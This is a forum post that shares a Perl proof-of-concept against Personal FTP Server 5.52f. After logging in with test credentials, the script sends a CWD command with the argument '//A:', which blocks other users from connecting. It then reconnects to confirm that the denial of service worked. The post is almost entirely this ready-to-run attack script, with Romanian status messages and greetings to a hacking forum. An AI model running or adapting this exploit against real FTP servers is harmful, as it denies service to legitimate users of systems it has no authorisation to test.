Jump to content
escalation666

Personal FTP Server bug

Recommended Posts

Posted

#!/usr/bin/perl

#Personal FTP Server 5.52f bug

#PoC by 35c666

#Download: http://www.michael-roth-software.de

#It's rather a bug then a DoS which consist in denying other users access to the ftp server, after a previous user triggered a //A: command

#Greetz to all RST members at http://rstzone.net

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";

my $pass = "test";

$expl = "//A:";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Nu m-am putut conecta: $!";

$ftp->login($user,$pass) || die "Nu m-am putut loga: $!";

print "M-am logat!\n";

$ftp->command("CWD", $expl);

print "Lansez comanda in executie...\n";

print "Incerc sa ma conectez din nou..\n";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Userul 2 nu se mai poate conecta: $!";

$ftp->quit;

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...